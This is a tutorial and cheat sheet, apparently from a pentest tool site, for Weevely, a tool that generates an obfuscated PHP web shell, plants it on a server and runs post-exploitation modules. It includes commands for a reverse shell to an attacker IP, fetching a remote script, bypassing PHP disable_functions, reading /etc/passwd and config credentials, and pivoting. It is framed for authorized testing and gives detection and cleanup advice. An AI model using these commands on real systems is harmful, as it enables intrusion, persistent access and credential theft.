Post Exploitation
Learn how to use Weevely 4.0.0 from installation to cleanup: generate an obfuscated PHP agent, place it on an explicitly authorized web server, connect through the Python client, establish a shell, run built-in enumeration and file modules, troubleshoot restrictions, and remove the agent safely.
sudo apt install weevely
weevely <action> [arguments]
To use Weevely, install the client, generate an obfuscated PHP agent with a password, upload that file to a PHP web folder on a target you are explicitly authorized to test, and connect to its URL from your terminal. Run Weevely modules to inspect the system, then remove the agent when finished.
The beginner workflow is a repeatable loop: install the Kali package with `sudo apt install weevely`, generate the local agent, upload it through an approved flaw, connect to its lab URL, enumerate only the agreed scope, collect required evidence, and clean up. Treat generation and delivery as separate steps because Weevely creates the file but never places it on the server.
In an authorized DVWA-style lab, run `weevely generate mypassword agent.php`. Weevely reports `Generated backdoor with password 'mypassword' in 'agent.php' of 671 byte size.` After making the file reachable, run `weevely http://target/agent.php mypassword`. At the initial `weevely>` prompt, enter `whoami`; once the shell is established, the output is `www-data` and the prompt changes to `www-data@target:/var/ $`. Run `:system_info` and `:file_ls` to inspect the host and current directory.
Weevely has two parts: a Python client on the tester's system and a generated PHP agent on the web server. The generation password authenticates the client to that agent, while obfuscation prevents the agent and its HTTP exchange from resembling a plain interactive shell. Remote capabilities remain limited by the PHP process account, configuration, and server permissions.
On Kali Linux, Weevely is preinstalled, while `sudo apt install weevely` installs the packaged client if needed; enter `weevely` to verify that it starts. For a source installation, run `git clone https://github.com/epinna/weevely3.git`, execute `pip3 install -r requirements.txt --break-system-packages` from the cloned project, and launch the client with `./weevely.py`.
Use `:help` or `:<TAB>` to explore the roughly 30-plus modules. Audit modules such as `:audit_etcpasswd`, `:audit_suidsgid`, and `:audit_phpconf` inspect accounts and configuration; file modules read, find, transfer, or edit data; shell modules run OS or PHP code; network modules inspect interfaces, scan, and proxy; SQL modules access or dump databases; and backdoor modules establish additional authorized channels.
Weevely does not upload its generated agent. The file must reach a PHP-enabled web folder through an authorized file-upload flaw or an approved delivery partner. Burp Suite can help identify and validate the upload flaw, while Commix can deliver the file when command injection is within scope. Obtain explicit written authorization before generating, delivering, or connecting to an agent.
Defenders should look for unexpected PHP files in writable web directories, unusual repeated HTTP request patterns, and web-server account activity involving system commands, files, databases, or network connections. WAFs may strip or reject Weevely patterns, but monitoring should not rely on a single signature. Testers must remove the agent, confirm its URL no longer serves it, and document cleanup when the assessment ends.
Sessions make repeat work practical. Run `weevely session <path>` to reload a saved session instead of reconnecting from scratch, and pass a command directly after the URL and password, as in `weevely http://target/agent.php mypassword "uname -a"`, when you need one non-interactive result for a script. If the lab routes traffic through a proxy, set it before the first command with `:set proxy <type>://<host>:<port>` at the unconnected `weevely>` prompt.
Weevely differs from single-file shells such as b374k, c99 and p0wny-shell because it generates its agent instead of shipping a fixed file: the password, the obfuscation and the small footprint are chosen at generation time, and the client adds a module system on top. That makes it a better fit for a structured authorized test, where the same generated agent can be audited, reused across the engagement and removed cleanly, than for a quick one-off upload.
| Command | Purpose |
|---|---|
weevely generate mypassword agent.php | Generate a password-protected PHP agent in the current directory. |
weevely http://target/agent.php mypassword | Open the client prompt for a reachable agent. |
weevely http://target/agent.php mypassword "uname -a" | Run one remote command and exit. |
weevely session /path/to/session.session | Resume a saved Weevely session. |
:system_info | Collect remote system information in an active session. |
:backdoor_reversetcp 10.10.10.10 4444 | Spawn a reverse TCP shell to a listener on the attacker host.Start the listener first or the connection is lost. |
weevely generate <PASS> /path/to/agent.phpGenerate an obfuscated PHP agent (web shell) protected by a passwordweevely http://example.com/agent.php <PASS>Open an interactive terminal session on the deployed agentweevely http://example.com/agent.php <PASS> idRun a single command through the agent and exitweevely session /path/to/session.sessionResume a previously saved session file:helpList all modules available in the current session:system_infoCollect remote system information (OS, PHP version, paths):system_procsList running processes on the target:audit_etcpasswdRead /etc/passwd using several fallback techniques:audit_suidsgidFind SUID/SGID binaries useful for privilege escalation:audit_filesystemAudit the filesystem for writable and sensitive files:audit_disablefunctionbypassAttempt to bypass PHP disable_functions restrictions:file_ls /var/wwwList the contents of a remote directory:file_download /etc/passwd ./passwdDownload a file from the target to the local machine:file_upload ./exploit.sh /tmp/exploit.shUpload a local file to the target:file_read /var/www/html/config.phpRead the contents of a remote file:file_find -name "*.php" /var/wwwSearch the remote filesystem for matching files:file_webdownload http://10.10.10.10/lin.sh /tmp/lin.shMake the target download a file from a URL:shell_sh idRun a shell command via available system functions:shell_php "system('id');"Execute raw PHP code on the target:shell_su root idRun a command as another user via su:net_scan 192.168.1.0/24 22,80,443TCP port-scan a range by pivoting through the web shell:net_ifconfigShow the target's network interface configuration:net_phpproxyInstall a PHP proxy on the target for pivoting:sql_console -user <USER> -pass <PASS>Open an interactive SQL console on a reachable database:backdoor_reversetcp 10.10.10.10 4444Spawn a reverse TCP shell back to the attacker hostMaintain access to compromised web servers.
Upload/download files through HTTP tunnel.
Run system commands via stealthy channel.
Use web server as pivot to internal networks.
Send controlled Weevely traffic to determine whether an authorized target's WAF strips or rejects its request patterns, documenting the result instead of assuming obfuscation will bypass the control.
Generate controlled agent, command, file, and network activity so defenders can verify that web logs, file monitoring, and security alerts identify the authorized test.
Use scoped modules such as `:audit_phpconf`, `:file_find`, and `:file_read` to locate authorized application configuration and credential artifacts, then handle every finding as sensitive assessment evidence.
Pull approved files, logs and database exports through the agent with `:file_download` and `:sql_dump`, keeping a record of every transfer for the final report.
Post Exploitation
LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.
Post Exploitation
Chisel is a fast TCP/UDP tunnel utility that encapsulates traffic over an HTTP transport channel, secured via SSH. It is useful for traversing firewall boundaries and pivoting inside network environments.
Post Exploitation
Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.
Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
Post Exploitation
Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.
Learn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.
Active Directory · AdvancedA comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Active Directory · AdvancedA comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.
Active Directory · AdvancedComprehensive guide to Active Directory enumeration using native tools, PowerShell, and specialized utilities for discovering users, groups, computers, and trust relationships.
After `weevely http://target/agent.php mypassword`, the first prompt is `weevely>`. This is the client prompt, not proof of a remote shell, so no target command has run yet. You can enter `:help` there to list modules or configure an approved proxy with `:set proxy <type>://<host>:<port>`. Enter a first real command such as `uname -a`; that request establishes the shell. When external command execution works, the prompt changes to `www-data@target:/var/ $`, showing the remote web-server account and working directory. Commands and colon-prefixed modules now return target-dependent results. For example, `:system_info` gathers system details, while `:audit_suidsgid --help` shows `audit_suidsgid [-h] [-only-suid] [-only-sgid] rpath`. Module output varies with the account's permissions, PHP configuration, and files present on the authorized target. If PHP cannot execute external commands, Weevely changes to `PHP>` instead. In that fallback mode it emulates `cd`, `cat`, `curl`, and `nano` through PHP. If nothing connects, confirm that the agent is reachable by URL and handled as PHP, then consider WAF filtering or hardened-server restrictions.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.